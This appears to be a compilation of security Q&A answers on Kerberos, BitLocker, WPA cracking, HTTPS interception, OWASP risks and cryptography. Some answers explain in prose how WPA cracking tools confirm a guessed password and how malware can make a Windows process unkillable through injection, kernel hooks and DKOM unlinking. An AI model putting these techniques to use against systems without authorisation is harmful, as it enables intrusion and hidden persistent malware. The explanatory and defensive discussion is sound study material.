This is stopped by authenticators. Whenever you present a Kerberos ticket, it must be accompanied by an authenticator, which is encrypted using the session key and contains (among other info) a timestamp. The server checks that the timestamp is recent (in Kerberos 4, this means "within 5 minutes;" in 5, it is configurable, but 5 minutes is the default) and that it has never seen that authenticator before. The authenticator just relies on the session key, so can be generated by the client; a new authenticator is created every time you send a ticket.

To answer "what if they're using the same session," the basic Kerberos protocol doesn't handle it. Kerberos, at its core, authenticates the user opening a connection; it does not have to do anything more. Application protocols are responsible for handling protection of further messages if that's important; Kerberos provides two ways to do so, or can supply data from the authentication to whatever system the application protocol uses, but an application protocol need not use Kerberos at all other than for initial authentication. Everything after that depends on the application protocol.

Kerberos has two options for Kerberos-protected communication beyond the initial message (one authenticates, one encrypts and authenticates); an application protocol may use them to protect later communication, but does not have to. Both of these use a timestamp and/or a sequence number to prevent replays; the sequence number protects against dropped messages and message reordering, while the timestamp is forgiving if that's not a concern (but prevents an attacker from just delaying a message, as a delayed message will be rejected), but both prevent replays.

If you are concerned about a malicious user tampering with the data stream to the print server, you can define the print server protocol to use KRB_SAFE or KRB_PRIV (respectively, "authenticate only" or "encrypt and authenticate"); both protect against replays. Or you can use some other system that takes a sub-session key from the authenticator as a pre-shared key and has replay protection; a TLS-PSK protocol with the sub-session key as PSK would probably work (TLS protects against replay attacks). The point is, Kerberos does not inherently protect against that sort of replay, because it says nothing about how to do the rest of the communication; to protect against attacks on the communication post-authentication, you need to either use Kerberos's KRB_SAFE or KRB_PRIV or use something else that protects that communication.


empty angular application has some ad links in the source code

You have an ad-blocking browser extension which is injecting this CSS stylesheet into pages you view. (To be clear, this stylesheet is used to block ads, not to display them.)

This is harmless, and only affects you -- it won't affect others users viewing your site. If it's still bothering you, though, you can disable the extension for this site, or switch to an ad blocker which doesn't use this method. For example, one good option is uBlock Origin.


Could a boot disc brute force a Bitlocker password?

Depends what you mean by "password".

If the disk is protected by a "PIN" (which may actually be a full-typeable-character-set passphrase) but nothing else, then yes, you could brute-force that. It'd take a long time - BitLocker uses a very slow key derivation function to turn the "PIN" into a key, so each iteration of the brute-force search would take a relatively long time even if using hardware much faster than the CPU that normally does the operation - but if the disk has a guessable "PIN" you could brute-force it.

If the disk is protected by PIN+TPM, which is the usual case for non-removable drives with "PIN" protection, then brute-force is really not feasible. You need the TPM key as well as the PIN-derived key, which means you need the drive in the machine that has the TPM, and that means you can't do an offline attack. Enter the PIN wrongly too many times, and it will lock and force you to enter the "Recovery Password".

The recovery password is quite thoroughly impractical (only just barely, technically, misses being impossible) to brute-force. It is extremely long and randomly generated; enumerating its search space is a problem on the scale of "if you turned every molecule of Earth into a CPU and used the entire energy output of a hundred suns to power them, you still wouldn't finish before the heat death of the universe."


How do WPA/WPA2 cracking programs know when the PMK/PTK is correct?

Pyrit upstream here.

You start by eavesdropping the key exchange between the station and the access-point. The first packet (sent from the the AP to the STA) gives you the ANonce, the second packet (sent from the STA to the AP) gives you the SNonce.
You can now guess a password, compute the Pairwise Master Key and construct the Pairwise Transient Key.

There are now two possibilities:

Either you derive the Key Confirmation Key from the Pairwise Transient Key and compute the Message Integrity Code over the "virginized" packet that transfered the SNonce. You will find that your MIC matches the transfered one if your guess was correct. Make a new guess and repeat the process otherwise.

In case of WPA2-AES, one can also derive the Temporal Key from the Pairwise Transient Key and use that to decrypt some of the traffic that followed the authentication phase. If the first 6 bytes of the decrypted message turns out to look like a LLC+SNAP-protocol-header, the chance is only one in 2**48 that the guessed password is not correct. You may re-check by computing the Message Integrity Code as above.
This second approach is faster than the first one as it requires less computation. You can read about the details at https://pyrit.wordpress.com/2011/04/16/known-plaintext-attack-against-ccmp/


A seemingly innocent program is attempting to connect online. Should I be worried?

If you don't plan on ever playing Solitaire on your machine, why allow it through the firewall?  You can always reverse your decision later if you decide to become a Solitaire fanatic, but until then it's safer to just deny Solitaire access.

I know it looks legit and it almost certainly is the application trying to connect with the Microsoft network to collect statistics, but who knows? In a year or so the Solitaire game could be found with a major security hole, and then you'll be glad you kept it denied under the firewall.  The tiniest slightest risk isn't worth it if you never plan to play the game.


I found my user details on already old, leaked account information list

First of all, you should make sure that you don't use that password, or a derivative, anywhere that you care about. This is most important if you use the same username or email address, but still something that you should do for completely unrelated accounts. If a password is crackable, it may have been incorporated into wordlists already. And even if not, hey - it was crackable in the first place!

Second, it seems prudent to go over the rest of the account information in that dump, and see if there's anything that you consider sensitive or private. What you do if you find such information will depend on circumstance, but I don't see why you should stop at just checking the password.

As for trying to get that information removed from the web? You could try, but it's really, really hard to purge information once it's been posted. Especially since password dumps are likely to be shared on all sorts of places which don't respect polite requests. If your password is the most important thing in the dump, I'd just assume that the password is compromised, and instead focus on limiting the damage that can be done.


Is Paypal's 2FA Security really this bad?

Yes it is.
If you have your emails unprotected on your phone and use your phone as the second factor, actually your phone becomes the only factor.
So use a PIN to protect your phone and encrypt it - or do not use the phone at all.

Or you should have pre-defined certain measures for the case if loosing your phone (like resetting your email password, so that your phone will not receive any emails anymore).

Many years ago paypal provided a hardware token as 2fa. I have one for one account and it is fine. The problem is: they do not anymore. The next problem is, that paypal obviously has a bad SMS gateway. Sometimes it takes ages for the text message to arrieve. To bad, if you want to "quickly" send some money.


How is intercepting my own HTTPS traffic possible?

Say you want to access SomeService's homepage through an HTTPS proxy. You start by making a connection between you and your proxy. Then your proxy makes a connection between itself and SomeService. Your proxy is the man in the middle, but that's okay because you are aware of this and you want this.

Your proxy will have no trouble communicating with SomeService (it's just a regular HTTPS connection with no MitM), but your browser will have trouble communicating with the proxy. That's because you typed in "https://www.SomeService.com" in your browser, and instead getting an answer from SomeService, you got an answer from your proxy.

Your browser knows something is wrong, because it expected a certificate signed by someone it trusts that was given to SomeService, but instead it got a certificate signed by Burpsuite (which isn't trusted by default) saying "this is totally SomeService.com". Your browser will then show you an error, saying it has no idea who signed this certificate and that you're probably being spied on.

The solution is to install a root certificate from Burpsuite. When you install it, you're saying that you trust any certificate signed by Burpsuite, which allows it to intercept your traffic without raising any alarms.


Webapp vulnerability scanner that understands continuations

Yes most scanners can do this.

For example, Burp Suite supports macros which allow you to configure a sequence of requests. The support is quite neat as various different Burp tools (scanner, intruder, repeater, etc.) automatically make use of the macros transparently.


A simple (possibly verifiable) way to do this is looking for the index.dat files that are present on the machine. Even if the user deletes all the cookies, and deletes all temporary files, and removes most traces of a connection, the index.dat file gets updated to reflect this behavior - and the latest modification date of the file will tell us when it was last used by IE, and thus give the last date Internet was accessed.


If we should encrypt the message rather than the method of transfer, why do we care about wifi security? Is this just security theatre?

Network encryption protects against different set of threats than application layer encryption like TLS.

In particular, network encryption like Wifi encryption are primarily designed to protect from a local attacker from being able to watch network patterns (by recording who you're making connections with, and discovering what devices are on the local network), observing/tampering of low level messages like ARP/DNS, and protecting network broadcasts from devices that aren't supposed to be in the network, and from tampering or selective interference.

TLS doesn't protect the low level TCP/IP packets, which leaks information like the IP address of the machine you're connecting with, and the TLS handshake also by design leaks a number of information about the connection like Server Name Indication (SNI) header.

The side effect of needing to do all this is that Wifi hardware already need to have enough code and processing power to handle encryption, so it becomes easier to just encrypt all wifi packets rather than selectively figuring out what needs protection or not. This come also with the side benefit that unsecured HTTP connection will still be at least marginally protected, even if at least to protect users of the infrastructure from each other, but not from the infrastructure provider.

Network encryption is designed to protect the network, not the service. Application encryption is designed to protect the connection to the service, but it doesn't protect the network. They complement each other, but neither completely makes the other unnecessary.


Bypassing valid certificate requirement for websockets

There is no way to disable certificate validation or accept an invalid or self-signed certificate using pure Javascript in the browser. And it would be a very bad idea if something like this exists since it might enable attackers to man in the middle critical sites when you've visited the attackers site.

You might explicitly import the certificate as trusted in each browser or you might offer access to this site by HTTPS (i.e. not only wss://) so that the user can create an explicit exception for this site. But this can thankfully not be automated, i.e. it requires explicit user interaction.


Sounds like you require a centralised authentication system and a centralised audit system for monitoring.

You could configure a LDAP server for centralised authentication using the Linux PAM module. This server would manage Role Based Access Control and sudo permissions across systems.

For logging user activity, you could use something like snare, splunk, logstash etc for log shipping from each of the systems being worked on. You could search based on user or system to identify user activity and commands being run.


My old iPad 2 has a persistent email virus "Virus Detected" that pops up whenever I attempt to use Safari

It is a little confusing that you say it is an email, but it is causing safari to become unusable. If you can clarify whether this is an email in apple mail app or a web page you cannot get rid of in safari (or an email appearing in a web interface email service) that would help.

follow the advice in the comment above regarding clearing of browser history.

If that still won't work, I would use the option within the settings menu to wipe the ipad and reset to factory defaults. However, make sure you apply iOS updates BEFORE you re-connect to your Apple ID as it is possible that the bad data has been uploaded to your iCloud account. The most important thing you need to do is get the iOS updates applied before any personal data is loaded onto your device.

If the problem persists, I would contact the real Apple support.


I will try my best:

There is a chance that this firebase server is having other services available aswell on the system, that's why many ports show up.
This is output from a script which tries to guess under which username was the service ran.

For 3-5 please refer to NMAP manual.

NMAP by default uses few tricks to determine what remote operating system could be; using packet analyzing such as checking TTL value, opened ports and overall 'behaviour' it tries to guess the remote OS. Aggresive OS Guess is just a risky guess, means there is a chance that the system is XXX, but some of the tricks failed so the guess is not 100% sure.
Could be that You used different scan options. Posting full scan command which You've used would be nice to understand why You recieve X and not Y results.
This indicates that remote host identifies as Oracle Virtualbox. It looks like You have scanned Your own system somehow.

Without scan command being posted, it would be pretty hard to know i.e. answer for open/filtered ports.

EDIT 17.06.2019:

Here some quick review of used argument options in Your scans

-A: Enables OS detection and Version detection, Script scanning and Traceroute
 -v Enables verbose output
 -sS Enables stealth SYN scan (sends raw SYN and waits for SYN-ACK to report open)

There might be possibility that remote server might just drop incomplete TCP handshake (as stealth SYN scan never completes it and stops sending any packets once SYN-ACK or RST received), while it's fine with completed handshakes (default scan option You've used many times is CONNECT scan, means full TCP handshake) - hence different ports are being reported to be open.


How do I set auto check to override exploit in metasploit?

i found out you can set auto-check false


There is always the OWASP top ten web vulnerabilities list
A little summary of each from OWASP's report:

Injection - Injection flaws, such as SQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter into executing unintended commands or accessing unauthorized data.

Cross-Site Scripting - XSS flaws occur whenever an application takes untrusted data and sends it to a web browser without proper validation and escaping. XSS allows attackers to execute scripts in the victim’s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.

Broken Authentication and Session Management - Application functions related to authentication and session management are often not implemented correctly, allowing attackers to compromise passwords, keys, session tokens, or exploit other implementation flaws to assume other users’ identities.

Insecure Direct Object References - A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, or database key. Without an access control check or other protection, attackers can manipulate these references to access unauthorized data.

Cross-Site Request Forgery (CSRF) - A CSRF attack forces a logged-on victim’s browser to send a forged HTTP request, including the victim’s session cookie and any other automatically included authentication information, to a vulnerable web application. This allows the attacker to force the victim’s browser to generate requests the vulnerable application thinks are legitimate requests from the victim.

Security Misconfiguration - Good security requires having a secure configuration defined and deployed for the application, frameworks, application server, web server, database server, and platform. All these settings should be defined, implemented, and maintained as many are not shipped with secure defaults. This includes keeping all software up to date, including all code libraries used by the application.

Insecure Cryptographic Storage - Many web applications do not properly protect sensitive data, such as credit cards, SSNs, and authentication credentials, with appropriate encryption or hashing. Attackers may steal or modify such weakly protected data to conduct identity theft, credit card fraud, or other crimes.

Failure to Restrict URL Access - Many web applications check URL access rights before rendering protected links and buttons. However, applications need to perform similar access control checks each time these pages are accessed, or attackers will be able to forge URLs to access these hidden pages anyway.

Insufficient Transport Layer Protection - Applications frequently fail to authenticate, encrypt, and protect the confidentiality and integrity of sensitive network traffic. When they do, they sometimes support weak algorithms, use expired or invalid certificates, or do not use them correctly.

Unvalidated Redirects and Forwards - Web applications frequently redirect and forward users to other pages and websites, and use untrusted data to determine the destination pages. Without proper validation, attackers can redirect victims to phishing or malware sites, or use forwards to access unauthorized pages.


Create a unterminable process in Windows

Contrary to what a lot of people believe, there are actually several ways to do this. Some of them are common, some rarely seen. Some of them are weak, some strong. It all depends on how you do it.

Let's go through a collection of them:

1. Pre-NT RegisterServiceProcess trick
Windows 9x, and other pre-NT operating systems, had an undocumented API in kernel32.dll called RegisterServiceProcess, which (as the name suggests) registers the process as a system service. Once a process had called this function, the operating system considered it critical and would not allow task manager to kill it. This function was removed when NT came around, so it doesn't work on XP or higher.

2. Process naming tricks
Back in WinXP, the Task Manager executable contained a hard-coded list of process names that it would refuse to kill, instead displaying a message like the one you mentioned. These basically covered the critical system services such as smss.exe and rpcss.exe. The problem was that the path isn't checked, so any other executable with the same name would result in an un-killable process. This trick doesn't prevent the process from being killed, per se,  but rather stops the Windows XP Task Manager from being able to kill the process. It is still possible to use another tool to kill the process.

3. Keep-alive processes
These are by far the most common. Two processes are created, and repeatedly check for the other's existence. If one is killed, the other resurrects it. This doesn't stop you from killing the process really, but it does make it annoying to stop the process from coming back.

Task Manager includes an option to kill the process tree, which allows you to kill a process and all child processes, which may help fix this issue. When a process is created in Windows, the OS keeps track of the process ID that created it. Kill process tree iterates through all processes and looks for those who have a parent ID equal to the process ID that you're killing. Since keep-alive processes usually work on a repeated polling, you can kill both processes before they notice anything went wrong.

A defence against this is to create a dummy process that spawns the keep-alive process, then have that dummy process exit. The main process passes its ID to the dummy process, and the dummy process passes its ID to the keep-alive process, but the chain is broken when the dummy process exits. This leaves both the primary and keep-alive processes running, but makes it impossible to use Task Manager's kill process tree function. Instead, you'd have to write a script to kill them off, or use a tool that allows you to kill multiple processes simultaneously.

4. User-mode hooks via loaded DLLs
It is possible to inject a DLL into a running process. In fact, Windows offers a feature to have any DLL loaded into all processes that import user32.dll, for the purposes of extensibility. This method is called AppInit DLLs. Once a DLL is injected, it may manipulate the memory of the process. It is then possible to overwrite the values of certain function pointers such that the call is redirected to a stub routine, which then calls the target function. That stub routine may be used to filter or manipulate the parameters and return values of a function call. This technique is called hooking, and it can be very powerful. In this case, it would be possible to inject a DLL into running processes that hooks OpenProcess and TerminateProcess to ensure that no application can gain a handle to your process, or terminate it. This somewhat results in an arms-race, since alternative user-mode APIs can be used to terminate processes, and it's difficult to hook and block them all, especially when we consider undocumented APIs.

5. User-mode hooks via injected threads
This trick works the same as with DLLs, except no DLL file is needed. A handle to the target process is created, some memory is allocated within it via VirtualAllocEx, code and data is copied into the memory block via WriteProcessMemory, and a thread is created in the process via CreateRemoteThread. This results in some foreign code being executed within a target process, which may then instigate various hooks to prevent a process being killed.

6. Kernel-mode call hooks
In the kernel, there's a special structure called the System Service Dispatch Table (SSDT), which maps function IDs from user-mode calls into function pointers in to kernel APIs. This table is used to transition between user-mode and kernel-mode. If a malicious driver can be loaded, it may modify the SSDT to cause its own function to be executed, instead of the proper API. This is a kernel-mode hook, which constitutes a rootkit. Essentially it is possible to pull the wool over the OS's eyes by returning bogus data from calls. In fact, it is possible to make the process not only un-killable, but also invisible. One issue with this on x64 builds is that the SSDT is protected by Kernel Patch Protection (KPP). It is possible to disable KPP, but this has far-reaching consequences that may make it difficult to develop a rootkit.

7. Direct kernel object manipulation (DKOM)
This trick also involves loading a malicious driver on the OS, but doesn't require alteration of the SSDT. Processes on the system are stored as EPROCESS structures in the kernel. Keep in mind that this structure is entirely version-dependant and is only partially documented by Microsoft, so reverse engineering is required across multiple target versions in order to make sure that the code doesn't attempt to read the wrong pointers or data. However, if you can successfully locate and enumerate through EPROCESS structures in the kernel, it is possible to manipulate them.

Each entry in the process list has an FLink and BLink pointer, which point to the next and previous processes in the list. If you identify your target process and make its FLink and BLink pointers point back to themselves, and the FLink and BLink of its siblings point to each other, the OS simply skips over your process when doing any housekeeping operations, e.g. killing processes. This trick is called unlinking. Not only does this render the process invisible to the user, but it also prevents all user-mode APIs from targeting the process unless a handle to the process was generated before it was unlinked. This is a very powerful rootkit technique, especially because it's difficult to recover from.

8. Debugger tricks
This is a pretty cool trick that I've yet to see in the wild, but it works quite well. The Windows debugger API allows any process to debug another, as long as it has the permissions to do so. If you use the debugger API, it is possible to place a process in a "debugged" state. If this process contains a thread that is currently halted by a debugger, the process cannot be killed by Windows, because proper thread control cannot be guaranteed during termination when the thread is blocked. Of course, if you kill the debugger, the process stops being debugged and either closes or crashes. However, it is sometimes possible to produce a situation where a chain of processes exist that debug each other in a loop. If each process halts a dummy thread in the next, none can be killed. Note that it is possible for a power user to manually kill other threads within the process, rendering it useless, but it still won't be killed.

9. Windows 8 DRM
This is a new one I've only heard of recently, but I don't know much about it. There was a bit of a rumour going around on Twitter about it, and I've seen snippets here and there on various technical sites, but I've yet to see any concrete research. I think it's still early days. Essentially, the story is that Windows 8 has a mechanism that allows "trusted providers" to register processes as DRM critical, preventing them from being killed or manipulated by the user. Some people have speculated that the mechanism for checking trusted providers is weak, and may be open to attack.< - Looks like this one was bogus. So much for the rumor mill!

Update: Harry Johnston pointed out in the comments that Windows 8.1 introduces protected services, which are designed to be used by AV and DRM to protect against being manipulated or attacked by lower-privileged code on the system.

10. Tool manipulation
This one has probably been used a lot in the wild, but I've never seen it done properly. Essentially this trick involves targeting specific tools, e.g. Task Manager, by editing the executables on disk in a way that alters functionality. This is very similar to the user-mode hook tricks I mentioned earlier, but in this case they persist on disk and have wider-reaching consequences than simple API hooking. Of course, one issue is that Windows File Protection (WFP) prevents alteration of certain critical system files, including the task manager. Amusingly, though, it is possible to alter the default task manager executable path via the registry. So, instead of messing with the task manager executable file, just dump your own version somewhere and make the OS use it.

All in all, there are plenty of ways to achieve this, with varying degrees of robustness. The above represents a majority of them, but isn't exhaustive. In fact, many of the tricks I described can be achieved in alternate ways, using different mechanisms or APIs to achieve the same goal.


How do I find the IP address of a specific device on the local network?

If a system is unresponsive to (or actively blocks) conventional methods of fingerprinting, and you're convinced that the system is actually there (and is reachable), I recommend you start eavesdropping.
Ex: Start WireShark with a network card in monitor mode. Leave it running for 10-120 minutes. Afterwards, you'll want to get a list of the unique IPs it registered:
tshark -r input.pcap -T fields -e ip.dst ip.src | sort | uniq

(Where input.pcap was the pcap file you got from wireshark)[2]
Tying back the IP to a certain person will require manual work from your part. Unless the target is using DoH, you should be able to see DNS queries, so I'd recommend you start with that.


Can I be hacked just by watching a stream from a youtube channel that is being hacked?

Yes, it is feasible.
Do an internet search for something like "video decoder vulnerabilities h265". Plenty of vulnerabilities have been found and patched over the years.
The video stream is compressed with a video-specialised scheme. Different schemes are called codecs. Software code is used to decode the steam and therefore there is scope for errors and exploitation.
If someone uploads a video to YouTube that has a malicious payload, it would need to be unmodified by YouTube. They do reencode uploaded video, but perhaps not all the time: if the video substream is supported, they might send that out to viewers as is (even if a different container format is used). So this reencoding barrier may be the most difficult to overcome. But if a hacker was able to hack YouTube and directly deploy the malicious payloads that would be streamed, then that would suffice. Furthermore, of the reencoder is known, one could upload a payload that they know will be reencoder to their target malicious payload by YouTube.


Why does every site makes me acknowledge cookie usage?

There is indeed an EU legislation : European Union Directive 2009/136/EC says that websites must get consent from their visitors about information they intend to keep/store/retrieve on their computer/device.

There is even a fine, up to £500,000 for those who don't comply.

Source :

ICO (Information Commissione's Office) Blog
European Comission 'Information Providers Guide'
Huffingtonpost
Cookielaw.org :)

[Edit] A more complete answer on superuser.com


As MAC addresses can be spoofed (and are sent unencrypted), access lists based on them are ineffective. I agree that your time is better spent elsewhere. Also, WPA-PSK (aka WPA Personal, which is what I am assuming you are set up with) is in my opinion insufficient for businesses of your size. A single shared secret does not keep secret, especially when it can be brute-forced offline. You therefor may wish to invest the time you would have used maintaining your access list into setting up IEEE WPA-802.1X (aka WPA Enterprise)


What's the best way to salt a useragent string?

Would this be effective?

No. The fact that you append random digits which may or may not be plausible version numbers makes you actually easier to detect.

If you want to use a forged user-agent string, you should choose from the most common ones. (E.g., from this list.) Any custom modifications will rather attract attention than enhance your privacy.
And as @guest lined out, there are also a lot more vectors to identify you than just the UA.

Also, be aware that many pages rely on the user agent for their presentation. With the UA for a different OS and browser you will occasionally encounter broken websites because they serve the wrong scripts or stylesheets.


What are best practices for secure admin access management to critical 3rd party cloud application in big companies?

Unfortunately, what is commonly done is simply to share account credentials.

When possible, it is advised to have a super admin account with a manager who is not responsible for using the service directly (separation of duties) so that the active admins can come and go while management of the admins is done through a separate account. When not possible, a separate manager has a sibling admin account.

There is a new approach that is just taking off, and that is using OAuth, SSO, or similar, so that the admin accounts can be managed just like the normal company authentication directory (like AD, for instance). On top of that, there is a new class of service called the Cloud Access Security Broker (CASB) that adds this type of access layer on top of the company's cloud services. CASBs can add granular control over cloud services, including DLP, filtering, tokenization, account management, etc.


Apache TLS with only ECDHE-RSA-AES128-GCM-SHA256 enabled

There are no known vulnerabilities in TLS 1.2 or that cipher suite. If it works for you from a compatibility and performance standpoint, it's fine to use.


Why should someone block all methods other than GET and POST in a RESTful application?

I suspect this is a case of someone zealously applying "best practices" that they don't understand.

HTTP Verb Tampering Attack

The reason this best practice exists is because of the HTTP Verb Tampering Attack. From this article:

  Many Web server authentication mechanisms use verb-based authentication and access controls. For example, an administrator can configure a Web server to allow unrestricted access to a Web page using HTTP GET requests, but restrict POSTs to administrators only. However, many implementations of verb-based security mechanisms enforce the security rules in an unsecure manner, allowing access to restricted resources by using alternative HTTP methods (such as HEAD) or even arbitrary character strings.

So someone decided that because some apps are badly-written, all apps should be banned from accepting HTTP verbs other than GET or POST, because ... you know ... mumble mumble SECURITY!!

My opinion (possibly incomplete / incorrect, please post comments) :

Pure HTML / CSS / js content should be restricted to GET and POST because these are the only verbs allowed in the HTML spec.
APIs (AJAX, REST) should be allowed to use any verb from the HTTP spec, that said:

Be aware that even if your application-layer correctly enforces verb-based access controls, your webserver front-end may not, so you owe it to your customers to do some security testing and make sure your app enforces proper authentication and access controls on all verbs that you support. I recommend following the OWASP testing guide.

It sounds like your app is fine and your customer has an overly-zealous security policy.

As an aside, HEAD is an interesting example; some security scanners seem to complain if your app responds to HEAD requests, because some apps will return valid headers without invoking the proper auth checks. However, most properly designed apps will process a full GET and then only return the headers, including the correct content-length:. So for apps using modern frameworks, there is probably no way to bypass auth logic on your GET controller. Do some quick tests though!
(Thanks @usr-local-ΕΨΗΕΛΩΝ for pointing this out in comments. See this Stack Overflow post for detail on how Spring MVC handles this.)


How does Hulu know my local time when I am behind a VPN?

By asking your browser for the current time zone offset, e.g.

var d = new Date();
console.log(d.getTimezoneOffset())

Since I'm in the US/Pacific time zone and it's currently summertime, this returns 420 (7 x 60) for me.

With a bit of additional clever code, it's possible to estimate the exact time zone, rather than just the current offset.


Does anything gets written to disk when doing a DLL injection?

DLL injection is a technique used for running code within the address space of another process by forcing it to load a dynamic-link library.

Address space is in Memory.

Now that's not to say that nothing will get written to disk. I could modify an executable in such a way that it loads xyz.dll on load. On the flip side of things, I could run my own project to inject code into the program to force it to load xyz.dll without writing anything to disk.

So the answer here is it depends.


How secure is a Windows 10 PIN not needing enter?

Yes, Windows 10 use PINs as well as passwords, there are options to make PIN usage more secure. Fore example, if you enter wrong PINs several times, it will lock, so after that, you will have to enter unlock PIN, you will see under the login form, this is not so good security option for Windows 10, but it works.


What does a collision attack accomplish for an attacker?

You may be mixing up a collision attack with a second-preimage attack. The difference between the two is in what the attacker controls: in a collision attack, the attacker has to find two strings that generate the same hash, and the attacker gets to choose both strings. In a second-preimage attack, the attacker has to find a string that generates the same hash as a given string that the attacker cannot control. See the answers to this question for more info about the difference.

You asked "Like what difference does it make if an attacker finds something that produces the same hash as the one in the signature?" -- here, you're describing a second-preimage attack. If that were possible, an attacker could use it to generate a forged certificate with the same hash as the valid certificate, and then simply copy the signature from the valid cert to the forged one; since their hashes match, the signature will match as well. This would result in a complete failure of certificate security. But (at least as far as I know) there's no hint of a practical second-preimage attack against SHA-1 (or even MD5), so this is pretty hypothetical.

The risk of collision attacks (which are possible against both MD5 and SHA-1) is less direct. The problem here isn't with your actual server certificate; you could actually use MD5 for that, and connections secured with it would be fully secure. The problem is that an attacker can generate two certs with matching hashes, one of which will look OK to a certificate authority, and one of which is completely invalid. They submit the OK one to a trustworthy CA, get it signed, then transfer the (valid) CA signature to the invalid cert, and then use the invalid cert (with valid signature) for whatever they want. Including simply replacing the (valid) cert from your server.

This is not hypothetical. In 2008, a group of researchers from the Chaos Computer Club used this process to forge an intermediate CA certificate with a valid (MD5) CA signature; since the forged cert was a CA certificate itself, they could then use it to sign anything they wanted (although they intentionally created it pre-expired, so it couldn't actually be used). See this CNET article.

In order to avoid being fooled by forged certificates like that, clients must reject MD5-signed (and probably soon SHA-1-signed) certificates. And that is why you should sign your certs with SHA256 -- it's not that MD5 and SHA-1 certs are insecure, it's that clients can't tell they're secure, and therefore have no good choice but to reject them. See my answer to a similar question here for more details.


Burpsuite has the capability. You first set up your client to proxy traffic through Burp, then you can start testing the API.

Step by step here: https://support.portswigger.net/customer/portal/articles/2898216-using-burp-to-test-a-rest-api


Main requirements to secure my Application in any database related features

In addition to what you have already listed, you should validate all the data passed to the database. Unvalidated input can lead to persistent cross-site scripting or SQL injection.

How to validate input passed to database:

Identify application inputs
Identify database entry points
Create and use validators
Use Type-Safe parameters in SQL statements (Stored procedures and Parameterized queries)

Logging and monitoring is another improvement. You can take action in case of any abnormal behaviour. For instance you can apply a set of rules to respond when your application makes a suspicious behaviour.There are tools/products which montiros database activity and protects them with a set of preconfigured defenses, and helps you build a custom security policy for your environment. You can search the web if you don't want to build yourself.

Additionally, you can use a host-based intrusion detection system such as OSSEC for log analysis, file integrity checking, policy monitoring, real-time alerting and active response.


Implementing SRP without storing the salt anywhere

You are absolutely correct that making the salt publicly available brings with it some security risks (which I will return to), but first let me address why the salt does need to be static.

The client must be able to derive from the user provided password the x that corresponds to the verifier, v that the server stored. The client authenticates to the server by proving that it knows (or can compute) x while the server authenticates to the client by proving that it knows v.

This means that the client will need to derive the same x each time, as it is mathematically related to the v which the server stores. The client computes x from the password and a salt. To produce the same x it needs the same password and salt each time.

Making the salt opaque

As you (and others) have noted, the fact that the salt is fully public means that an attacker does not need to wait for a breach of the server to start cracking. The attacker can precompute a large number of candidate v and then in the event of a server breach, when the real v is discovered, the attacker can see if that is a v that they have a password guess for.

This issue is true of every prior (asymmetric) PAKE as was pointed on in a brilliant paper released earlier this year: OPAQUE: An Asymmetric PAKE Protocol Secure Against Pre-Computation Attacks. The authors propose a new construction that wraps a more traditional PAKE in a way that does not suffer from this problem.

Although I'm the primary contributor to an SRP implementation, I posted the following picture after learning about OPAQUE.


What Verisign does, basically, is to encrypt your certificate using their private key, and send you the result. The user's browser contains Verisign's public key, so it can verify your key has been signed by Verisign by decrypting it using that public key.

They can re-send you your certificate as often as you want (they may or may not choose to do so commercially, but there's no security reason why they shouldn't). What they can't re-create for you is the private key that you used to generate the certificate and that must be installed on all of your web servers -- if you lose that, you have to get a new certificate starting from scratch.


If I use a proxy on my gaming console, can someone find my real IP or boot me from a game?

A proxy is designed to act on your behalf, so in theory, it should hide your IP, but it depends on a lot of factors including what traffic flows through the proxy.

This should address your worries about being "booted".

Proxies and VPNs perform very different functions, and I leave that research to you. In terms of hiding your IP, they can basically hide your IP equally well.


RSA vs ECC certificate for IoT device client side certificate authentication

RSA and ECC are equally secure. They are both secure if implemented and used correctly, and both prone to similar amount and gravity of mistakes in implementation and use. The only reason why security would be a consideration is if you happen to have a poor implementation of one and a good implementation of the other.
ECC does not claim to have a higher level of security. (If you read that, it's misinformed.) ECC has a higher level of security divided by the key size, i.e. an N-bit ECC key is in some sense “more secure” than an N-bit RSA key against brute force, but that's irrelevant: RSA key sizes are larger than ECC keys for this reason, and in both cases, you would pick a key size that's large enough for brute force to be infeasible. The weakness in cryptography is not brute force attacks (except when passwords are involved), it's misuse and bad impementations.
RSA signature verification is faster than ECC (ECDSA or EdDSA) signature verification. RSA signature calculation is slower than ECC signature calculation. RSA signatures are larger than ECC signatures. (All of this is comparing things that it makes sense to compare, i.e. at equivalent levels of security, not at equal key sizes which would be meaningless.)
There are two common families of ECC signatures: ECDSA and EdDSA. To choose between them, security is slightly relevant, but it doesn't clearly point one way or the other. EdDSA is newer so implementations are less mature and may be buggier, but on the other hand EdDSA is a more mature design which is easier to implement correctly.
Both RSA and ECC will be broken by quantum cryptanalysis if it turns out to work the way many computer scientists hope. If your device needs to last for a long time, make sure that you can update your whole infrastructure to support post-quantum crypto (PQC) in a few years, once it has become more mature. Note that this is a difficult task, since it means much larger keys and signatures, and stateful signatures. You don't have to support PQC yet (and you should not use PQC in production yet as it hasn't received enough cryptanalysis), but now is a good time to start thinking about key storage and algorithm agility.


Are environment variables entered *directly* before a command visible to other users?

I fully agree with @AndreBorie, you have the shell history where the command will be logged together with the variables. e.g.

$ FOO=bar echo 3
3
$ history 2
  674  FOO=bar echo 3
  675  history 2

You can disable that with set +o history for bash or the POSIX way with set -o posix; set -o nolog (which does not work in either bash or zsh according to my tests).

On Linux you have two more files of interest: /proc/<PID>/environ and /proc/<PID>/cmdline.  The environment file is safe from other users:

$ ls -l /proc/self/environ
-r-------- 1 grochmal users 0 Sep 28 00:51 /proc/self/environ

But the command line file, not quite:

$ ls -l /proc/self/cmdline
-r--r--r-- 1 grochmal users 0 Sep 28 00:51 /proc/self/cmdline

Fortunately the Linux folks have been there and the cmdline file does not log the environment variables passed:

$ cat -v /proc/self/cmdline
cat^@-v^@/proc/self/cmdline^@

$ FOO=bar cat -v /proc/self/cmdline
cat^@-v^@/proc/self/cmdline^@

The important thing about /proc/<PID>/cmdline is that it is from here that ps takes its information about processes' command lines.  Therefore these variables will not be seen in something like ps aux or ps -afe.


How exactly are physically unclonable functions used in authenticaton if they are unclonable?

If they are practically unclonable, how is a PUF-based device authenticated?

Consider the example of a smart-card chip, assuming that it has a puf-based circuit. If reliable enough then this chip will produce a unique key for a given challenge.

